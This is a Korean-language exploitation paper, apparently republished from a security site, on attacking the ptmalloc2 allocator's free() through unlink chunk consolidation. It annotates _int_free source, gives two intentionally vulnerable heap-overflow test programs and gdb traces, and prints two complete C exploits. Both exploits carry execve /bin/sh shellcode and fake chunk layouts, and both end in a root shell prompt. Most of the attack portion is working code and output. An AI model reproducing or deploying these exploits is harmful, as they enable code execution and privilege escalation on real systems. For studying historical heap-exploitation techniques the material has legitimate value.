출처 : http://x82.inetcop.org/h0me/papers/ptmalloc2.txt

 
Wolfram Gloger's ptmalloc2 free exploit 구현

-목 차-

1. 분 석.
2. 결 론.
3. Reference.

--


1. 분 석.


ptmalloc2의 최신버전은 2002년 11월에 발표되었습니다. Doug Lea의 malloc 2.7.x를
기반으로 개발되었으며, 이 코드는 glibc-2.3.x에 포함되어 있다고 합니다.
자세한 사항은 개발자의 페이지를 참조하시기 바랍니다.

http://www.malloc.de/

예전 ptmalloc 버전은 과거 glibc에 포함되어 있는 malloc 처리 방식과 매우 흡사합니다.
그래서, free() exploit method도 같습니다. 하지만, ptmalloc2에서는 그 방식을 약간
수정하였습니다. (예를 들면, chunk_free() 함수를 _int_free() 함수로 변경하였다던지..)

어쨌든 분석해보고 exploit method를 구현해보도록 하겠습니다.

우선 malloc_chunk 구조체를 확인한 후,

--
struct malloc_chunk {
	INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
	INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

	struct malloc_chunk* fd;         /* double links -- used only if free. */
	struct malloc_chunk* bk;
};
--

이 부분부터 free() 함수 처리 알고리즘입니다.

--
void
_int_free(mstate av, Void_t* mem)
{
 	mchunkptr       p;           /* chunk corresponding to mem */
 	INTERNAL_SIZE_T size;        /* its size */
	mfastbinptr*    fb;          /* associated fastbin */
	mchunkptr       nextchunk;   /* next contiguous chunk */
	INTERNAL_SIZE_T nextsize;    /* its size */
	int             nextinuse;   /* true if nextchunk is used */
	INTERNAL_SIZE_T prevsize;    /* size of previous contiguous chunk */
	mchunkptr       bck;         /* misc temp for linking */
	mchunkptr       fwd;         /* misc temp for linking */

	/* free(0) has no effect */
	if (mem != 0) {
		//
		// mem이 NULL이 아닌 경우, chunk ptr인 mem의 chunk인 p 값을 구합니다.
		// 즉, p = ((mchunkptr)((char*)(mem) - 2*SIZE_SZ)) 문법이 되는데.
		// 이것은 prev_size와 size 값(총 8)이 있는 이전으로 ptr를 옮깁니다.
		//
		p = mem2chunk(mem);
		//
		// 이제 chunk p의 size 값을 구합니다. 이는 다음 문법이 적용됩니다.
		// size = ((p)->size & ~((0x1|0x2|0x4)))
		//
		size = chunksize(p);

		...

		/*
		   Consolidate other non-mmapped chunks as they arrive.
		*/
		//
		// 이 부분은 unlink() 매크로 함수 수행을 위해
		// 반드시 거쳐야 하는 if문 입니다.
		// ((p)->size & 0x2)의 조건 문법 결과가 0인 경우,
		//
		else if (!chunk_is_mmapped(p)) {
		//
		// nextchunk를 구합니다. 다음 문법이 적용됩니다.
		// nextchunk = ((mchunkptr)(((char*)(p)) + (size)))
		// 현재 chunk size를 더하여 다음 chunk를 가리킵니다.
		//
			nextchunk = chunk_at_offset(p, size);
		//
		// 위와 같은 방법으로 다음 chunk의 size를 얻습니다.
		//
			nextsize = chunksize(nextchunk);
			assert(nextsize > 0);

		//
		// 매우 중요한 부분입니다.
		// 이 조건문을 통과해야 첫번째 unlink()와 만날 수 있습니다.
		// ((p)->size & 0x1) 문법의 결과는 0이어야 합니다.
		// (하위 비트가 0인지 검사)
		//
			/* consolidate backward */
			if (!prev_inuse(p)) {
		//
		// 이전 chunk의 size를 구합니다.
		//
				prevsize = p->prev_size;
				size += prevsize;
		//
		// 위와 같은 방법으로 이전 chunk를 포인터합니다.
		// ((mchunkptr)(((char*)(p)) + (-prev_size)))
		//
				p = chunk_at_offset(p, -((long) prevsize));
		//
		// 첫번째 unlink 매크로 함수가 실행됩니다.
		// 문법에서 확인할 수 있듯이 기준이 되는 chunk의 이전 chunk 정보를
		// 참조하여 병합이 이루어집니다.
		//
				unlink(p, bck, fwd);
			}

		//
		// 다음 chunk가 top이 아닌 경우.
		//
			if (nextchunk != av->top) {
		//
		// 이 문법은 다음 공식과 같습니다.
		// ((nextchunk + nextsize)->size & 0x1)
		// 결과 값이 0이면 unlink 매크로 함수를 호출하게 됩니다.
		//
				/* get and clear inuse bit */
				nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

				/* consolidate forward */
				if (!nextinuse) {
		//
		// 두번째 unlink 매크로 함수가 실행됩니다.
		// 문법에서 확인한 바, 기준이 되는 chunk의 다음 chunk 정보를
		// 참조하여 병합이 이루어집니다.
		//
					unlink(nextchunk, bck, fwd);
					size += nextsize;
				} else clear_inuse_bit_at_offset(nextchunk, 0);
		...
--

이번 문서에서 공격할 방법은 저 두가지 unlink 매크로 함수를 이용합니다.
기준 chunk의 이전 chunk를 참조하는 방법과 다음 chunk를 참조하는 방법이 다르므로,
두가지 경우를 따로 설명드린 후에 exploit 하도록 하겠습니다.

unlink() 매크로 함수는 공통적으로 쓰는 Doug Lea의 것과 같습니다.

--
#define unlink(P, BK, FD)                                                           \
{                                                                                   \
        BK = P->bk;                                                                 \
        FD = P->fd;                                                                 \
        FD->bk = BK;                                                                \
        BK->fd = FD;                                                                \
}
--

먼저, 이전 chunk를 참조하여 병합하는 첫번째 unlink 매크로 함수 수행법을 연구해보도록
합시다. 공략할 예제 src code는 다음과 같습니다.
이 예제는 첫번째 unlink() 매크로 함수를 통해 exploit 할 수 있도록 작성되었습니다.

--
int main(int argc,char *argv[])
{
	char *first_chunk=(char *)malloc(16);
	char *second_chunk=(char *)malloc(20);

	strcpy(first_chunk,argv[1]);
	free(second_chunk);
	/*
	** 두번째 chunk를 free하는 이유는 첫번째 chunk를 free할 경우,
	** malloc_consolidate() 함수 내의 unlink() 매크로 함수에 의해
	** 병합이 중복 수행되기 때문입니다.
	*/
}
--

반드시 작업하고 넘어가야 하는 것이 있는데 그것은 현재 if 문법에 의해 checking 되는
현재 chunk의 정보입니다.

예를 들면, "if(!((p)->size & 0x2))" 문법 부분과 "if(!((p)->size & 0x1))" 문법
부분입니다. 그렇게 두번의 if 문법을 거치면 이전 chunk의 정보를 구하는 문법을
진행할 수 있게 됩니다.

그 다음에는 현재 chunk의 prev_size 값을 조작해야 합니다.
prevsize라는 변수에 저장되는 int형 값을 통해 이전 chunk의 위치를 정하게 됩니다.
"p = chunk_at_offset(p, -((long) prevsize));"
결국, 현재 chunk에서 prev_size 값을 빼서 이전 chunk를 구합니다.

이렇게 하여, 이전 chunk 위치를 pointer하는 p가 unlink() 매크로 함수에 의해
병합을 수행하게 됩니다. 그런데 여기서 주의할 점은 공격자가 p의 위치를 제어할 수
있다는 점입니다. 결국, 조작된 p(가짜 chunk)를 첫번째 unlink() 매크로 함수에
수행하도록 넣어 줌으로써 exploit이 가능하게 됩니다.

자, 그럼 성공적인 exploit 수행을 위해 설정해야할 값들을 얻어보도록 하겠습니다.
(참고로, ex 프로그램은 뒤에서 소개할 exploit code입니다.
시험을 위해 retaddr을 0x82828282로 설정하였습니다.)

[root@test ptmalloc2]# gdb -q ex
(gdb) r
Starting program: /tmp/ptmalloc2/ex

Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000be0 in _start () from /lib/ld-linux.so.2
(gdb) c
Continuing.
[New Thread 1074041472 (LWP 5756)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 1074041472 (LWP 5756)]
0x40039447 in _int_free (av=0x4003b0c0, mem=0x8049a50) at malloc.c:4149
4149            unlink(p, bck, fwd);
(gdb) x/16 0x8049a48-24
0x8049a30:      0x00000000      0x00000019      0x12121212      0xffffffff
0x8049a40:      0x34343434      0xffffffff      0xfffffffc      0xfffffff8
0x8049a50:      0x56565656      0x080499a0      0x82828282      0x00000000
0x8049a60:      0x00000000      0x000015a1      0x00000000      0x00000000
(gdb)

먼저 free가 수행되는 target chunk(현재 chunk) 정보를 설정해야 합니다.
여기서 매우 중요한 점은 현재 chunk의 size가 if문을 두번 거친다는 사실입니다.
필자는 이 부분을 -8(0xfffffff8)로 설정하였습니다. 그 이유는 다음 chunk를 참조하여
발생하는 두번째 unlink() 매크로 함수의 영향 때문입니다. 성공적으로 첫번째 unlink()
매크로가 수행되었다 하더라도 다음 unlink() 매크로 함수가 조건에 맞게되어 수행되면
exploit을 실패할 수 있기 때문입니다.

그래서 첫번째 unlink() 매크로 함수만 수행될 수 있도록 조건을 설정해야 합니다.
현재 chunk의 위치는 0x08049a48인데,

(gdb) x/5 0x8049a48
0x8049a48:      0xfffffffc      0xfffffff8      0x56565656      0x080499a0
                ~~~~~~~~~~
0x8049a58:      0x82828282
(gdb)

size를 -8로 설정하였으므로, 다음 chunk의 위치는 0x08049a40이 됩니다.

(gdb) x/5 0x8049a48-8
0x8049a40:      0x34343434      0xffffffff      0xfffffffc      0xfffffff8
                ~~~~~~~~~~
0x8049a50:      0x56565656
(gdb)

결국, nextsize는 0x08049a44 주소에 있는 값을 "size & ~((0x1|0x2|0x4))" 공식에
의해 계산됩니다. (예제: 0x08049a44 주소에 -1(0xffffffff) 값이 있을 때,
nextsize의 결과 값은 -8이 됩니다.)

(gdb) x/5 0x8049a48-8+4
0x8049a44:      0xffffffff      0xfffffffc      0xfffffff8      0x56565656
                ~~~~~~~~~~
0x8049a54:      0x080499a0
(gdb)

그러면, 다음 if 문에서 비교하는 "((nextchunk + nextsize)->size & 0x1)" (하위 비트가
0인지 검사) 문법결과에 의해 size의 위치는 0x08049a3c(-8+4)가 됩니다.

(gdb) x/5 0x8049a48-8-8+4
0x8049a3c:      0xffffffff      0x34343434      0xffffffff      0xfffffffc
                ~~~~~~~~~~
0x8049a4c:      0xfffffff8
(gdb)

이 위치의 값들 역시 공격자에 의해 조작되어야 합니다. (두번째 unlink() 매크로의 수행
여부를 결정하므로) 이 조건식의 결과를 0으로 만들어 수행되지 않도록 합니다.
(하위 비트를 1로 설정함) 예제: !(0xffffffff & 0x1) 결과는 0.

지금까지, next chunk에 의한 두번째 unlink() 실행을 회피하기 위해 설정하는 내용을
정리해보면,

--
+------------+------------+-----------------------------------+
|   주 소    |     값     |             위치 설명             |
+------------+------------+-----------------------------------+
| 0x08049a38 |   dummy    | (nextchunk + nextsize)->prev_size |
| 0x08049a3c | 0xffffffff | (nextchunk + nextsize)->size      |
| 0x08049a40 |   dummy    | (nextchunk)->prev_size            |
| 0x08049a44 | 0xffffffff | (nextchunk)->size                 |
+------------+------------+-----------------------------------+
((nextchunk)->size & ~((0x1|0x2|0x4))) == (nextsize)
(0xffffffff & ~((0x1|0x2|0x4))) = -8 (0xfffffffc)
--

이와 같습니다.

현재 chunk의 prev_size 값은 -4(0xfffffffc)로 설정하였습니다.
이 값은 이전 chunk의 위치를 판가름하는 매우 중요한 역할을 합니다.
현재 chunk의 위치 - (-4)의 공식은 현재 chunk의 위치에서 +4를 해주는 결과이기 때문에
위에서 가정한 chunk의 위치에서 4를 더해준 0x08049a4c가 조작된 이전 chunk의 위치가
됩니다.

--
+------------+------------+----------------------------------------+
|   주 소    |     값     |             위치 설명                  |
+------------+------------+----------------------------------------+
| 0x08049a48 | 0xfffffffc | (chunk)->prev_size                     |
| 0x08049a4c | 0xfffffff8 | (chunk)->size & (prevchunk)->prev_size |
| 0x08049a50 |   dummy    | (prevchunk)->size                      |
| 0x08049a54 | retloc-12  | (prevchunk)->fd                        |
| 0x08049a58 |  retaddr   | (prevchunk)->bk                        |
+------------+------------+----------------------------------------+
--

자, 지금까지의 자료들을 토대로 exploit을 작성해보도록 하겠습니다.

--
#include <stdio.h>

main(){
	char xp_sh[]=
		"\x90\x90\x90\x90\xeb\x0c\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
		"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
		"\x80\xe8\xdc\xff\xff\xff/bin/sh";
	char p_pls[200];
	int in_t=0;
	unsigned long t_v=(0xbfffffff-strlen(xp_sh));
	char *ent[2];
	{
		ent[0]=(xp_sh);
		ent[1]=(NULL);
	}
	memset((char *)p_pls,0,sizeof(p_pls));

	*(long *)&p_pls[in_t]=0x12121212; /* (nextchunk + nextsize)->prev_size */
	in_t+=4;
	*(long *)&p_pls[in_t]=-1; /* (nextchunk + nextsize)->size */
	in_t+=4;
	*(long *)&p_pls[in_t]=0x34343434; /* (nextchunk)->prev_size : dummy */
	in_t+=4;
	*(long *)&p_pls[in_t]=-1; /* (nextchunk)->size */
	in_t+=4;
	*(long *)&p_pls[in_t]=-4; /* now chunk prev_size */
	in_t+=4;
	*(long *)&p_pls[in_t]=-8; /* now chunk size */
	in_t+=4;
	*(long *)&p_pls[in_t]=0x56565656; /* (prevchunk)->size : dummy */
	in_t+=4;
	*(long *)&p_pls[in_t]=0x080499ac-12; /* prev chunk ptr & fd */
	in_t+=4;
	*(long *)&p_pls[in_t]=(t_v); /* bk */
	in_t+=4;

	execle("./t","t",p_pls,0,ent);
}
--

먼저, (nextchunk + nextsize)의 prev_size로 설정될 값을 0x12121212로 넣어주었습니다.
(dummy) 그 다음, (nextchunk + nextsize)의 size 값을 0xffffffff로 설정하였습니다. (-1)
이 값에 의해 두번째 unlink() 함수의 수행을 통한 중복 병합을 막을 수 있습니다.
그 다음, 0x34343434 4byte의 dummy 데이터 후, (nextchunk)->size 값을 -1로 설정
하였습니다. 이 값은 문법을 거쳐 -8이 되며, 앞서 설정한 값들을 참조시키기 위해
설정합니다. 그 다음은 현재 chunk의 관리 정보입니다. 이미 설명드린대로 -4를 현재
chunk의 prev_size로 설정했으며, -8을 현재 chunk의 size로 설정하였습니다.
그 다음 주소값 0x56565656 부분은 조작된 이전 chunk를 위한 dummy 값입니다.
조작된 이전 chunk는 현재 chunk size로 설정된 -8 부분부터 시작하므로,

--
+------------+------------+----------------------------------------+
|   주 소    |     값     |             위치 설명                  |
+------------+------------+----------------------------------------+
| 0x08049a38 | 0x12121212 | (nextchunk + nextsize)->prev_size      |
| 0x08049a3c | 0xffffffff | (nextchunk + nextsize)->size           |
| 0x08049a40 | 0x34343434 | (nextchunk)->prev_size                 |
| 0x08049a44 | 0xffffffff | (nextchunk)->size                      |
| 0x08049a48 | 0xfffffffc | (chunk)->prev_size                     |
+------------+------------+----------------------------------------+
조작된 이전 chunk의 시작부분:
+------------+------------+----------------------------------------+
| 0x08049a4c | 0xfffffff8 | (chunk)->size & (prevchunk)->prev_size |
| 0x08049a50 | 0x56565656 | (prevchunk)->size                      |
| 0x08049a54 | 0x08049998 | (prevchunk)->fd : (retloc-12)          |
| 0x08049a58 | 0xbfffffa8 | (prevchunk)->bk : (retaddr)            |
+------------+------------+----------------------------------------+
--

순서로 저장됩니다.

--
(gdb) x/x 0x080499ac
0x80499ac:      0x82828282
(gdb) x/10 0xbfffffff-86
0xbfffffa9:     0x90909000      0x900ceb90      0x90909090      0x90909090
0xbfffffb9:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffffc9:     0x5e1feb90      0x31087689
(gdb)
--

이 값들을 토대로 첫번째 unlink() 매크로 함수가 수행되며, 병합 과정 후, 새로운
쉘이 실행되는 것을 볼 수 있습니다.

--
[root@test ptmalloc2]# ./ex
sh-2.05b#
--

자, 그럼 이번에는 다음 chunk를 참조하여 병합하는 두번째 unlink 매크로 함수 수행법을
연구해보도록 하겠습니다. 공략할 예제 src code는 다음과 같습니다.

--
int main(int argc,char *argv[])
{
	char *first_chunk=(char *)malloc(30);
	char *second_chunk=(char *)malloc(20);

	strcpy(first_chunk,argv[1]);
	free(second_chunk);
}
--

첫번째 unlink 매크로 함수 수행을 통한 병합과는 다르게 단순하므로, 필자는 두번째
unlink 매크로에 의한 exploit을 즐기는 편입니다. 이 방식은 다음 chunk를 참조하여
병합이 이루어지므로, 공격자는 다음 chunk 정보를 완벽하게 설정하여 가짜 chunk가
안전히 병합될 수 있도록 만들어야 합니다.

first_chunk의 크기를 30으로 변경하였는데 이는 nextchunk의 관리정보를 수정을 위한
값들을 충분히 저장하기 위한 공간이라고 보시면 됩니다. 또한, free를 두번 수행하는
방법과 이전 방법처럼 second_chunk만 free 해도 exploit이 가능합니다.
자, 그럼 이미 분석했던 문법을 통해 exploit 조건을 만들어 보도록 합시다.

앞서 이전 방법에서 두번째 unlink() 실행을 피하기위해 많은 노력을 했으므로,
그 원리를 쉽게 파악할 수 있을 것입니다. :-}
(참고로, ex2 프로그램은 뒤에서 소개할 exploit code입니다.
시험을 위해 retaddr을 0x82828282로 설정하였습니다.)

[root@test ptmalloc2]# gdb -q ex2
(gdb) r
Starting program: /tmp/ptmalloc2/ex2

Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000be0 in _start () from /lib/ld-linux.so.2
(gdb) c
Continuing.
[New Thread 1074041472 (LWP 5766)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 1074041472 (LWP 5766)]
0x400395ee in _int_free (av=0x4003b0c0, mem=0x0) at malloc.c:4165
4165              unlink(nextchunk, bck, fwd);
(gdb) x/4 0x8049a58
0x8049a58:      0x90909090      0xfffffff1      0x00000000      0x00000000
(gdb)

먼저 현재 chunk 크기 & 0x2 조건 문법의 결과가 0인 경우, nextchunk를 구하게 됩니다.
현재 chunk의 주소값 0x08049a58에 chunk size인 -16을 더해주면, 다음 chunk의 주소값은
0x08049a48이 됩니다.

(gdb) x/4 0x08049a58-16
0x8049a48:      0x78787878      0xfffffff0      0x08049998      0x82828282
                ~~~~~~~~~~
(gdb)

그렇게 되면 0x08049a4c에 있는 값이 nextchunk->size가 되는데 size & ~((0x1|0x2|0x4))
문법을 통과하여 계산됩니다.

(gdb) x/4 0x08049a58-16+4
0x8049a4c:      0xfffffff0      0x08049998      0x82828282      0x90909090
                ~~~~~~~~~~
(gdb)

그 후, 첫번째 ((p)->size & 0x2) if 문법이 나오는데 이 부분을 통과하게 되면 나오는
두번째 if 문법 ((p)->size & 0x1)에서 진행을 막아야 합니다. (하위 비트가 0인지 검사)
그래야 첫번째 unlink() 매크로 함수 수행을 막을 수 있습니다. (하위 비트를 1로 설정)

(gdb) x/4 0x08049a58+4
0x8049a5c:      0xfffffff1      0x00000000      0x00000000      0x00000000
                ~~~~~~~~~~
(gdb)

결국, ((nextchunk + nextsize)->size & 0x1) 하위 비트 검사 문법을 통해 결과가 0이면
두번째 unlink 매크로 함수가 실행됩니다.

(gdb) x/1 0x08049a58-16-16+4
0x8049a3c:      0x82828282
                ~~~~~~~~~~
(gdb)

결과를 토대로 작성된 exploit code 입니다.

--
#include <stdio.h>

main(){
	char xp_sh[]=
		"\x90\x90\x90\x90\xeb\x0c\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
		"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
		"\x80\xe8\xdc\xff\xff\xff/bin/sh";
	char p_pls[200];
	int in_t=0;
	unsigned long t_v=(0xbfffffff-strlen(xp_sh));
	char *ent[2];
	{
		ent[0]=(xp_sh);
		ent[1]=(NULL);
	}
	memset((char *)p_pls,0,sizeof(p_pls));

	*(long *)&p_pls[in_t]=0x12121212; /* (nextchunk + nextsize)->prev_size */
	in_t+=4;
	*(long *)&p_pls[in_t]=0x82828282; /* (nextchunk + nextsize)->size */
	in_t+=4;
	*(long *)&p_pls[in_t]=0x34343434; /* dummy */
	in_t+=4;
	*(long *)&p_pls[in_t]=0x56565656; /* dummy */
	in_t+=4;
	*(long *)&p_pls[in_t]=0x78787878; /* (nextchunk)->prev_size : dummy */
	in_t+=4;
	*(long *)&p_pls[in_t]=-16; /* (nextchunk)->size */
	in_t+=4;
	*(long *)&p_pls[in_t]=0x080499a4-12; /* (nextchunk)->fd */
	in_t+=4;
	*(long *)&p_pls[in_t]=0xbfffffaa; /* (nextchunk)->bk */
	in_t+=4;
	*(long *)&p_pls[in_t]=0x90909090; /* chunk prev_size */
	in_t+=4;
	*(long *)&p_pls[in_t]=-15; /* chunk size */
	in_t+=4;

	execle("./t","t",p_pls,0,ent);
}
--

0x12121212는 (nextchunk + nextsize)->prev_size로 설정될 위치 값입니다.
그 다음 0x82828282는 (nextchunk + nextsize)->size 값이 되는데 하위 비트는 0으로
맞추어 주었습니다. 다음 dummy 8byte후, -16(0xfffffff0)은 nextchunk의 size가 됩니다.
(size & ~((0x1|0x2|0x4))) 다음 덮어씌워질 정보 fd와 bk를 설정한 후, 현재 chunk의
정보를 설정하였습니다. 여기서 현재 chunk의 prev_size 값은 공격과 관련없으므로 dummy
값으로 처리했고, 다음 chunk size 값은 -15(0xfffffff1)로 설정하였는데 이 부분은 매우
중요한 의미를 가지고 있습니다. 우선, 하위 비트를 1로 설정하므로써, prev chunk 참조에
의한 첫번째 unlink() 병합을 수행하지 않게 됩니다. 현재 chunk의 size는 "size(-15)
& ~((0x1|0x2|0x4))" 공식에 의해 size는 -16 값으로 계산됩니다. 결국 참조할 다음
chunk는 -16byte를 이전으로 옮겨지며 nextsize는 앞서 설정한 -16 값을 얻어 설정됩니다.
(예: 현재 chunk의 위치가 0x08049a58이므로, nextchunk의 위치는 -16인 0x08049a48이
되고, 0x08049a4c가 nextchunk size 값의 위치가 되는데 이 위치의 값은 -16 값이 설정
되어 있으므로, (nextchunk + nextsize(-16))->size 값은 0x08049a3c의 위치가 됩니다.

--
+------------+------------+----------------------------------------+
|   주 소    |     값     |             위치 설명                  |
+------------+------------+----------------------------------------+
| 0x08049a38 | 0x12121212 | (nextchunk + nextsize)->prev_size      |
| 0x08049a3c | 0x82828282 | (nextchunk + nextsize)->size           |
| 0x08049a40 | 0x34343434 | dummy                                  |
| 0x08049a44 | 0x56565656 | dummy                                  |
| 0x08049a48 | 0x78787878 | (nextchunk)->prev_size : dummy         |
| 0x08049a4c | 0xfffffff0 | (nextchunk)->size                      |
| 0x08049a50 | 0x08049998 | (nextchunk)->fd : (retloc-12)          |
| 0x08049a54 | 0xbfffffaa | (nextchunk)->bk : (retaddr)            |
| 0x08049a58 | 0x90909090 | (chunk)->prev_size                     |
| 0x08049a5c | 0xfffffff1 | (chunk)->size                          |
+------------+------------+----------------------------------------+
0x08049a48 (nextchunk) - 16 = 0x08049a38 (nextchunk + nextsize 위치)
0x08049a38 + 4 ((nextchunk + nextsize)->size) = 0x08049a3c
--

0x08049a3c의 위치에는 위에서 설정한 0x82828282 주소값이 존재하고 있으므로,
하위 비트가 0인지 검사 시, 조건 문법을 성공적으로 수행하게 되고 결국 두번째 unlink()
매크로 함수를 수행하게 됩니다. 이때, nextchunk의 위치는 0x08049a48이므로,

+------------+------------+----------------------------------------+
|   주 소    |     값     |             위치 설명                  |
+------------+------------+----------------------------------------+
| 0x08049a48 | 0x78787878 | (nextchunk)->prev_size : dummy         |
| 0x08049a4c | 0xfffffff0 | (nextchunk)->size                      |
| 0x08049a50 | 0x08049998 | (nextchunk)->fd : (retloc-12)          |
| 0x08049a54 | 0xbfffffaa | (nextchunk)->bk : (retaddr)            |
+------------+------------+----------------------------------------+

순서로 저장됩니다.

--
(gdb) x/x 0x080499a4
0x80499a4:      0x82828282
(gdb) x/10 0xbfffffff-86
0xbfffffa9:     0x90909000      0x900ceb90      0x90909090      0x90909090
0xbfffffb9:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffffc9:     0x5e1feb90      0x31087689
(gdb)
--

이 값들을 토대로 두번째 unlink() 매크로 함수가 수행되며, 병합 과정 후, 새로운
쉘이 실행되는 것을 볼 수 있습니다.

--
[root@test ptmalloc2]# ./ex2
sh-2.05b#
--


2. 결 론.


이와 같은 malloc의 종류만해도 무척 다양합니다만, exploit method가 분석된 malloc은
다양하지 못한 것 같습니다. exploit method는 아직까지 Doug Lea malloc의 exploit 방식이
주를 이루고 있고 대부분 방법론적으로 접근하기 때문에 실제 중요한 루틴을 잊게 되는
경우가 많습니다. malloc hacking에 대해 앞으로도 다양한 연구가 진행되었으면 하는
바입니다.

감사합니다.


3. Reference.


1. Malloc/Free and GC Implementations: http://www.cs.colorado.edu/~zorn/Malloc.html
2. Wolfram Gloger, ptmalloc2: http://www.malloc.de/
3. glibc-2.1.2/malloc/malloc.c src code 연구 분석: 아직 공개 안함.

+ Recent posts